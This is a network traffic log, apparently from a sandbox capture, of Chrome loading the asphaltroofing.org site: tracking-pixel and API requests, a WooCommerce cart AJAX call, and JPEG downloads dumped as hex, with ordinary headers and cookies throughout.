JFIF++&.%#%.&D5//5DNB>BN_UU_wqw++&.%#%.&D5//5DNB>BN_UU_wqw"3h8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
205	192.168.2.6	49965	18.160.78.62	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:09 UTC	630	OUT	GET /v1/refresh HTTP/1.1 Host: marco.feathr.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:09 UTC	805	IN	HTTP/1.1 200 OK Content-Type: image/gif Content-Length: 43 Connection: close Date: Tue, 23 Apr 2024 14:54:09 GMT x-amzn-RequestId: 6af4b595-c13d-4333-9f5f-046a3d4e4afd Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type,X-Amz-Date,Authorization,X-Api-Key Set-Cookie: f_id=6627cb818425280008d4a656; Domain=.feathr.co; Path=/; Expires=Wed, 23 Apr 2025 14:54:09 GMT; SameSite=None; Secure; HttpOnly x-amz-apigw-id: Wry-zEpEoAMEWxQ= Access-Control-Allow-Methods: * X-Amzn-Trace-Id: Root=1-6627cb91-26e7c7b54617bab8329355e6;Parent=0bb8dba353032b93;Sampled=0;lineage=5eb2f403:0 X-Cache: Miss from cloudfront Via: 1.1 fdc632d3538adbffdbb2b5b8fde20ac4.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ATL59-P2 X-Amz-Cf-Id: 5azTQsBFITTly8QpIvvjxK-xuiUk_hy2kq-Wyl1osQnpfx_g0OMW5w==
2024-04-23 14:54:09 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
206	192.168.2.6	49964	172.67.68.21	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:09 UTC	605	OUT	GET /v1/accounts/603026366fd8bf4e42de107f/integrations HTTP/1.1 Host: polo.feathr.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.asphaltroofing.org Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:09 UTC	896	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:09 GMT Content-Type: application/json Content-Length: 43 Connection: close Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tkHkBZr%2FdnNH9s0WWxZMFy8G5pnZ%2FPtVA%2FB3QWj%2Bo9qsHU46j477qsMw3H5FdxgyGrZv3BVeHJXHnhJMrm98dA2Bwsm1aLgtoqs2gHiqJrCS%2BBk026MUkrpzzIx3WVNN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eafee791753fc-ATL
2024-04-23 14:54:09 UTC	43	IN	Data Raw: 7b 22 69 6e 74 65 67 72 61 74 69 6f 6e 73 22 3a 20 5b 22 74 72 61 64 65 64 65 73 6b 22 2c 20 22 66 61 63 65 62 6f 6f 6b 22 5d 7d Data Ascii: {"integrations": ["tradedesk", "facebook"]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
207	192.168.2.6	49966	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:09 UTC	1058	OUT	POST /?wc-ajax=get_refreshed_fragments HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive Content-Length: 18 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://www.asphaltroofing.org Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.asphaltroofing.org/about-arma/join/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884046.0.0.0; _scc_session=pc=2&C_TOUCH=2024-04-23T14:54:07.930Z
2024-04-23 14:54:09 UTC	18	OUT	Data Raw: 74 69 6d 65 3d 31 37 31 33 38 38 34 30 34 38 30 32 31 Data Ascii: time=1713884048021
2024-04-23 14:54:10 UTC	618	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:10 GMT Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Access-Control-Allow-Origin: https://www.asphaltroofing.org Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff X-Robots-Tag: noindex Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Vary: Accept-Encoding
2024-04-23 14:54:10 UTC	936	IN	Data Raw: 33 39 63 0d 0a 7b 22 66 72 61 67 6d 65 6e 74 73 22 3a 7b 22 64 69 76 2e 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 22 3a 22 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 5c 22 3e 5c 6e 5c 6e 5c 74 3c 70 20 63 6c 61 73 73 3d 5c 22 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6d 69 6e 69 2d 63 61 72 74 5f 5f 65 6d 70 74 79 2d 6d 65 73 73 61 67 65 5c 22 3e 4e 6f 20 70 72 6f 64 75 63 74 73 20 69 6e 20 74 68 65 20 63 61 72 74 2e 3c 5c 2f 70 3e 5c 6e 5c 6e 5c 6e 3c 5c 2f 64 69 76 3e 22 2c 22 73 70 61 6e 2e 65 73 73 2d 63 61 72 74 2d 63 6f 6e 74 65 6e 74 22 3a 22 5c 74 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 65 73 73 2d 63 61 72 74 2d 63 6f 6e 74 Data Ascii: 39c{"fragments":{"div.widget_shopping_cart_content":"<div class=\"widget_shopping_cart_content\">\n\n\t<p class=\"woocommerce-mini-cart__empty-message\">No products in the cart.<\/p>\n\n\n<\/div>","span.ess-cart-content":"\t <span class=\"ess-cart-cont

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
208	192.168.2.6	49967	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:09 UTC	715	OUT	GET /wp-content/uploads/2017/05/form-500x500.jpg HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884046.0.0.0; _scc_session=pc=2&C_TOUCH=2024-04-23T14:54:07.930Z
2024-04-23 14:54:09 UTC	519	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:09 GMT Content-Type: image/jpeg Content-Length: 44203 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:48 GMT ETag: "1c01b68-acab-5b419ed103e00" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:54:09 UTC	7673	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 10 ec 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 3b 00 02 00 00 00 0b 00 00 08 4a 87 69 00 04 00 00 00 01 00 00 08 56 9c 9d 00 01 00 00 00 16 00 00 10 ce ea 1c 00 07 00 00 08 0c 00 00 00 3e 00 00 00 00 1c ea 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: JFIF``ExifMM*;JiV>
2024-04-23 14:54:10 UTC	8192	IN	Data Raw: ad 97 dd 97 56 b6 5d 5b 6a f0 a1 44 18 dd 49 e3 4a c4 9d 81 7c 3c 9f 03 a9 bf eb 8b 37 f0 5d 19 e4 80 25 8b 66 d6 ba 14 44 6a e6 32 ea 59 57 32 f3 8e b6 7c 0b 48 50 80 fc e4 f3 1d 26 c2 72 49 49 f0 a9 b5 5f f5 1f 3c 6f 64 f1 65 22 76 c1 33 69 6d 5e 07 3b d8 93 98 cb da 93 7b b2 eb 0f 0f 05 ca 4f eb 8d 5c ce 17 ac 4a fb 79 17 54 07 6a 06 af b2 03 b5 5b 75 0e 00 a4 2d 2b 49 e0 52 6e 23 9c 74 e3 6f 4f d3 97 de 2e 62 59 7e 01 74 c6 de 4f 1c d5 a5 6c 16 e2 26 13 e0 71 3b fc e2 03 b3 21 11 d2 99 8b 2e bb 09 b9 47 1b ff 00 99 07 50 8d e4 9e 26 a5 4e d8 35 38 d8 51 fe 8a ce 93 fa e0 36 b0 8c 25 49 50 ba 48 23 c2 0c 66 01 08 42 01 08 42 01 08 42 01 08 42 01 08 42 01 08 42 01 08 42 01 08 42 01 08 42 01 08 42 01 08 42 01 08 42 01 08 42 01 08 42 01 08 42 01 08 42 01 Data Ascii: V][jDIJ\|<7]%fDj2YW2\|HP&rII_<ode"v3im^;{O\JyTj[u-+IRn#toO.bY~tOl&q;!.GP&N58Q6%IPH#fBBBBBBBBBBBBBBBB
2024-04-23 14:54:10 UTC	8192	IN	Data Raw: 57 1e 52 9b 45 57 49 65 6e 6e 7b ed 5b 13 7f 0f 6c 76 06 64 65 ce 34 c4 75 d6 ba 40 fe 05 a4 54 1b 6a c5 a6 27 58 95 d6 9b dc 15 0b 8b 9f 1c 76 ce 65 7a 92 64 31 4d 75 fa de 1c ac 8a 3b f3 2a 2e 3b 2e e3 3a 9b 2b 26 e4 a4 82 0a 6f f2 c6 9f 0b 7a 8c d0 c5 55 b9 cc 51 89 bb bd 86 d6 14 b9 79 66 94 9e 56 dd 8a 5a 8d ed e4 1f 2c 66 6f 23 5a b1 9b 53 39 f5 4d a8 d1 f2 33 00 d3 ea af 30 fc d4 bb ca 41 71 87 83 a8 52 42 15 a4 85 0d 88 b5 a2 b7 d4 93 80 b0 fc ee 08 99 ae d4 69 52 73 d3 8e 4f 10 db 8f b4 16 5a 08 b6 9d 37 e0 6f bd c4 76 46 71 64 93 39 a7 40 a5 51 a5 aa a9 a2 b3 4d 73 5a 34 cb 72 a0 a7 4e 90 90 35 26 d6 8d a6 50 e5 8f 55 78 48 e1 fe 74 e7 2f 5f 5b dc bf 21 c9 7b 6b 6d a7 51 f0 78 62 e9 bf 75 bd 52 ce 4f 3c e7 06 46 d5 8e 60 4c e2 3c 25 5c a4 cc bd Data Ascii: WREWIenn{[lvde4u@Tj'Xvezd1Mu;*.;.:+&ozUQyfVZ,fo#ZS9M30AqRBiRsOZ7ovFqd9@QMsZ4rN5&PUxHt/_[!{kmQxbuRO<F`L<%\
2024-04-23 14:54:10 UTC	8192	IN	Data Raw: f3 c3 a9 4c bc 20 03 84 e9 b6 1c 3b d3 e7 8f cb ae 1a 4d d2 39 87 16 f7 df d8 cf 79 a1 d7 0d 26 ca 3c c3 8b 7b de 3e c3 3d e6 8a 3f 51 92 b9 78 90 6d 84 e9 a2 fc 7b d3 e7 81 c9 5c bc 29 09 38 4a 9b 61 c0 69 3e 78 fc ba e0 a4 dd 23 98 71 67 7d fd 8c f7 9a 31 d7 0d 26 ca 3c c3 8b 3b de 3e c3 3d e6 80 fd 86 4a e5 e0 04 74 4e 9a 35 71 ef 4e ff 00 ae 1d 4b 65 ef 7b fc 93 a6 f7 bc 3b d3 b7 eb 8f cb ae 1a 4d d2 39 87 16 f7 df d8 cf 79 a3 89 ce 3a 48 bf b0 18 b7 6d bf 03 3f e6 80 fd 8e 4a 65 d9 24 9c 25 4d df 8f 7a 7c f1 cb a9 6c bd ba 48 c2 74 eb a7 da f7 a7 6f d7 1f 8a b3 82 92 80 82 68 38 b0 eb 17 16 a3 3c 6d e5 db 68 c0 ce 2a 49 04 f3 06 2d b0 fe c5 7f cd 01 fa f5 27 97 7f d5 2a 6f d1 3e 78 d4 4c 60 3c a8 96 ab 2a 9c e6 19 92 13 12 e8 0e 38 a0 c2 ca 19 16 2a Data Ascii: L ;M9y&<{>=?Qxm{\)8Jai>x#qg}1&<;>=JtN5qNKe{;M9y:Hm?Je$%Mz\|lHtoh8<mhI-'o>xL`<8
2024-04-23 14:54:10 UTC	8192	IN	Data Raw: ea 49 da 25 68 52 b3 94 fc 71 55 ab 35 46 9c ee 27 65 d2 cf ff 00 08 86 54 95 f2 d7 b2 42 4f ae 0b 28 a8 a8 ee 2d 16 d5 4a f5 2a 86 d2 1d aa d4 a4 a4 1b 70 e9 42 e6 9f 4b 41 47 c0 0a 88 bc 3a 09 54 e5 a5 5d 26 e7 31 b1 6a bc 45 c6 7e ee 30 32 d2 af a6 dd 63 62 db de f7 e5 18 bf ee e3 7a 33 07 07 93 61 8a e8 04 f8 05 41 9f 4a 1d 60 e0 fb 5f a5 74 0b 70 bf 38 33 e9 40 68 93 96 95 74 9b f5 8f 8b 55 e2 2e 33 f7 70 ea ce af a6 dd 63 e2 db f8 79 46 6f fb b8 de 8c c1 c1 ea 36 18 ae 82 7c 95 06 7d 28 75 83 83 ad 7e 96 50 2d ff 00 a8 33 e9 40 68 86 5a 55 c5 ff 00 9c 7c 5a 76 b7 ba 33 f7 70 ea d2 af a6 dd 63 e2 db df 8f 28 cd ff 00 77 1b d1 98 38 3c ff 00 e6 ba 07 87 f0 83 5e 94 3a c2 c1 d6 bf 4a e8 16 f0 f3 83 3e 94 06 88 65 a5 5c 5f f9 c6 c5 aa b8 b6 ee 33 b7 d5 Data Ascii: I%hRqU5F'eTBO(-J*pBKAG:T]&1jE~02cbz3aAJ`_tp83@htU.3pcyFo6\|}(u~P-3@hZU\|Zv3pc(w8<^:J>e\_3
2024-04-23 14:54:10 UTC	3762	IN	Data Raw: 3a bd 81 c5 bb 0b ef 45 7b cd 0e b8 a9 36 07 98 71 6e ff 00 d8 af 79 a2 f3 68 40 41 8c e2 a4 1b fb 03 8b 76 df f0 2b de 68 1c e2 a4 84 83 cc 38 b7 7f ec 67 bc d1 79 0d a0 20 fa e1 a4 94 93 cc 38 b7 6f ec 67 bc d0 39 c3 49 01 27 98 71 6e ff 00 d8 af 79 a2 f2 10 10 63 38 29 24 28 f3 0e 2d ef 7f b1 9e f3 40 e7 0d 24 5a f4 1c 5b bf f6 2b fe 68 bc 84 04 18 ce 2a 49 49 3c c3 8b 76 fe c5 7b cd 03 9c 34 94 da f4 1c 5b b8 be d4 67 8f f0 8b c8 40 41 f5 c3 49 29 2a e6 1c 5b 60 6d f8 15 ef 34 67 ae 0a 4e a0 9e 61 c5 97 22 ff 00 81 9e f3 45 de d0 da 02 0b ae 3a 46 fe c0 62 ef f2 57 fc d1 c8 67 05 24 a8 27 98 71 67 0b fe 06 7b cd 17 70 80 82 eb 92 91 6b f3 0e 2e ff 00 25 7f cd 1c ba df a5 6b d3 cc 38 b2 f6 bf e0 67 ad c3 c9 17 70 da 02 0b ae 3a 45 bf 00 62 ef f2 57 fc Data Ascii: :E{6qnyh@Av+h8gy 8og9I'qnyc8)$(-@$Z[+hII<v{4[g@AI)[`m4gNa"E:FbWg$'qg{pk.%k8gp:EbW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
209	192.168.2.6	49968	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:09 UTC	732	OUT	GET /wp-content/uploads/2017/05/AdobeStock_104683960-500x500.jpeg HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884046.0.0.0; _scc_session=pc=2&C_TOUCH=2024-04-23T14:54:07.930Z
2024-04-23 14:54:10 UTC	519	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:09 GMT Content-Type: image/jpeg Content-Length: 56187 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:47 GMT ETag: "1c01665-db7b-5b419ed00fbc0" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:54:10 UTC	7673	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 48 00 48 00 00 ff fe 00 1f 43 6f 6d 70 72 65 73 73 65 64 20 62 79 20 6a 70 65 67 2d 72 65 63 6f 6d 70 72 65 73 73 ff db 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0e 09 09 08 08 09 12 0d 0d 0a 0e 15 12 16 16 15 12 14 14 17 1a 21 1c 17 18 1f 19 14 14 1d 27 1d 1f 22 23 25 25 25 16 1c 29 2c 28 24 2b 21 24 25 24 ff db 00 43 01 06 06 06 09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 ff c0 00 11 08 01 f4 01 f4 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 02 03 01 01 00 00 00 00 00 00 00 00 00 00 04 05 03 06 00 02 07 01 08 ff c4 00 46 10 00 02 01 03 03 02 05 01 06 04 Data Ascii: JFIFHHCompressed by jpeg-recompressC!'"#%%%),($+!$%$C$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$"F
2024-04-23 14:54:10 UTC	8192	IN	Data Raw: b7 86 3b 78 56 20 40 c7 4d c6 ad 3b 06 81 a6 d3 ad de 64 98 28 de bd f1 cd 0b 77 1a 3a 95 72 15 47 76 fe b9 a2 e6 f5 ee 55 60 9f 22 83 b9 96 32 80 14 f3 3e 31 d4 55 39 04 93 12 be 91 0c 0e 5a d5 96 46 63 92 18 65 5b fd 45 79 24 7a 8c 17 11 c3 24 b6 b6 ec cb 94 f2 93 0c 14 75 e6 8d 6d 62 1d 3e 29 6e 2e e2 26 28 a3 24 28 e3 07 1c 52 3b 8b 8b 6f 15 6a 62 e6 c6 7b 9b 76 86 d7 7c 63 00 28 6c 13 93 f9 d4 49 3e 6c b7 6b 8a 19 6b d7 52 47 09 d4 2f a6 f3 e2 b6 5f 4c 51 c5 8d a3 dc 9a 54 8f 65 34 31 dc db a2 80 fd d4 f5 aa f6 a1 6f ae 49 00 4d 43 5c 6f f7 92 51 d5 54 aa 63 68 c7 f5 a7 5e 1c d2 74 ab 08 6d 77 eb 25 8a 92 0a 48 b8 47 38 ec 45 5b 56 2e df a0 e2 dd 9d 6d 59 7c a6 b8 86 4e a0 1e 40 f7 ad 34 eb 68 86 a0 22 b2 8c fa 57 74 8d d0 28 f6 f9 34 ca 33 a7 24 b1 Data Ascii: ;xV @M;d(w:rGvU`"2>1U9ZFce[Ey$z$umb>)n.&($(R;ojb{v\|c(lI>lkkRG/_LQTe41oIMC\oQTch^tmw%HG8E[V.mY\|N@4h"Wt(43$
2024-04-23 14:54:10 UTC	8192	IN	Data Raw: 60 81 99 77 15 57 93 19 2c 4e 32 47 1d 05 7a 4e 85 d0 e7 a9 4b 53 9d b5 89 7e 2f 9a a5 fc 9c ae bf d6 71 68 a2 f1 62 a7 95 f6 5e 17 9b 7f c1 4a f0 f5 ad be 8d 7f 24 71 68 77 1a bb c6 b8 2b b4 fe 2f 73 80 71 f4 a4 3e 3b f1 25 e6 a5 a9 3c 92 69 90 d8 ba 2f 97 e4 c3 18 40 31 ef ee 68 ef 1d 4d 3c 17 d2 a7 de 9f d6 4b 38 4e 01 3f 3c 92 7f 3a e6 9a 8c ac 18 9d c5 be a6 be bf 83 4d a7 d2 e3 52 c3 05 15 5e 3f bf b1 f1 0d 56 ab 51 ad cd 25 a8 9b 93 bf 3f df dc 6f a3 6b 17 96 7a 82 dd 0d 12 5b f5 8b d4 ca a8 58 63 e7 82 3f 6a bc e9 df 6b 7a 1e a3 72 6d ae 74 28 2d 9d b8 4d f6 ca 36 1f fb e3 d8 c3 f4 ae 45 6f a8 cd 63 30 9a da 59 ed e5 1d 1e 19 0a b0 fc c5 35 83 c5 d7 f2 30 fb d4 f1 df 0f ff 00 cc 8d 5d c7 d1 c8 dc 3f 5a e2 eb f0 cf 50 9d 3b fb ce 9e 92 50 c5 49 aa Data Ascii: `wW,N2GzNKS~/qhb^J$qhw+/sq>;%<i/@1hM<K8N?<:MR^?VQ%?okz[Xc?jkzrmt(-M6Eoc0Y50]?ZP;PI
2024-04-23 14:54:10 UTC	8192	IN	Data Raw: 6b a1 da eb f7 9a ad 94 fb f7 2d be f8 a4 56 20 c4 d9 c6 46 0f cd 0d 6e f7 f6 37 53 59 5f 49 29 9a 07 28 e1 d8 9e 9d e9 af d8 c4 91 a7 88 ef 96 42 42 c9 6a 41 c7 fd c2 ad 7f 68 de 17 59 a3 5d 6a ca 33 be 25 0b 32 e3 96 4e cd f9 7f 4a e9 cb 27 bf b5 9e 76 10 f7 2d 1c fe fa 12 f3 25 cc 67 12 27 20 d3 ad 1f 4e 6b 80 9a 8e 85 39 b2 bb 6e 24 89 5b 6a 97 f8 f6 fe 94 9d 64 ca 62 89 f0 ee a3 fe 19 aa 15 2e 15 65 23 01 ba 13 ed 58 75 be d7 1a f6 98 bb af 1e 1a f4 68 c3 aa c4 ab 72 2e 7a 4f da 25 ee 9f 77 f7 0d 7e 23 e9 6d ad 2e dc 3a 7c 91 dc 53 9d 57 ed 02 da d2 43 1e 9d 0f de 88 ff 00 9a c7 09 f9 77 35 b5 ee 85 a6 78 cb 4e 0c 71 0d ea ae 16 51 f8 87 c1 1d c5 66 93 f6 71 6f 1c 6a 75 29 da 57 1f c9 11 c2 fe bd 6b 8d ed 7a 46 4f f9 8c f0 db 25 de 2b b3 7e ab fa 8c Data Ascii: k-V Fn7SY_I)(BBjAhY]j3%2NJ'v-%g' Nk9n$[jdb.e#Xuhr.zO%w~#m.:\|SWCw5xNqQfqoju)WkzFO%+~
2024-04-23 14:54:10 UTC	8192	IN	Data Raw: df ec 8d 24 9e d8 ff 00 c3 7c 7d 58 56 eb 7d 14 6a 36 aa 13 ee 4d 1c 7c 27 a6 81 c0 90 1f fb e8 3b cd 06 da 15 05 64 98 f6 0b bb 3f 95 52 d3 d8 f7 f4 af 4f e5 af cf f8 21 7b c5 9c e6 59 86 07 60 2a 3b ab 98 98 81 00 6d b8 1f 88 77 af 2e f4 a8 f4 eb 25 ba bb b8 f2 77 b6 11 37 02 7a e0 93 ed c8 35 96 36 90 ea 10 b4 96 b7 7b cc 7e 99 14 af e1 6f f2 f5 e7 eb 4e 5a 1c 9e 82 97 d2 dd 0b b4 f2 57 dc ff 00 80 42 85 db 9c 93 f1 4c 42 c9 67 6c b2 44 ee 10 f2 c9 92 32 6a 45 86 cf 4f d3 66 d4 e4 d4 2d 99 a0 62 9e 4e dd c4 9c 80 7b d0 33 6a 4d 7f 6f 71 3d bc 4d 08 89 70 24 6c 10 59 8e 14 05 c6 07 73 f9 53 a1 a2 9c de d6 8e 66 bb e9 2e 8e 31 72 c6 f7 1d 27 ec 93 4f 79 75 2b 8d 4e f2 20 b2 24 23 c8 23 1c 64 f2 71 ef 8c 7e b5 d2 35 9b 1b 1f 10 da c9 a6 de da 25 c5 bb 80 Data Ascii: $\|}XV}j6M\|';d?RO!{Y`*;mw.%w7z56{~oNZWBLBglD2jEOf-bN{3jMoq=Mp$lYsSf.1r'Oyu+N $##dq~5%
2024-04-23 14:54:10 UTC	8192	IN	Data Raw: a5 5b 91 c9 8a 9b 7b 4a e3 cd 75 6b 67 24 17 b0 c9 14 89 94 55 71 8c fb 53 5d 2f 53 d3 3c 43 63 a5 f8 7a e2 59 6d ef 63 25 19 dc e6 39 18 9e 09 e7 80 07 5f a5 2f f1 7e a6 b7 9a 91 b8 95 a7 b8 b8 41 b7 7b 70 a5 bb 60 7c 7b d5 77 4f 7c ea 69 32 92 19 72 c0 d4 8b af 03 a5 29 52 5b b9 1c f8 cf c2 96 be 17 d6 3e ed 6f a9 43 76 08 0d fc 12 7a 1f a8 a5 36 7a 75 a6 a7 78 96 c9 75 e5 4a 72 01 97 85 3f 19 ed 52 de ea d2 cf aa 48 ee 4b 91 81 c8 f6 18 a8 74 c4 3a 86 a5 b4 27 27 2c 6a a5 2a e4 15 8d 34 b9 e5 8c a1 f0 ca c7 72 c8 6e 51 1e 16 e7 8c 86 1f 06 9a 5a f8 53 4a d6 65 75 8e fe 75 9e 1c 65 55 01 0e 3b 11 8a d6 3f 0f 4a fd 05 1f 6b e1 39 9b 93 e9 15 9e 5a b8 57 61 cb 49 93 d4 12 cf 47 d3 1c 4b 03 e9 82 39 63 38 32 5c dc 00 01 fa 53 bd 1f 5d 1a 11 36 4f f7 49 2c Data Ascii: [{Jukg$UqS]/S<CczYmc%9_/~A{p`\|{wO\|i2r)R[>oCvz6zuxuJr?RHKt:'',j*4rnQZSJeuueU;?Jk9ZWaIGK9c82\S]6OI,
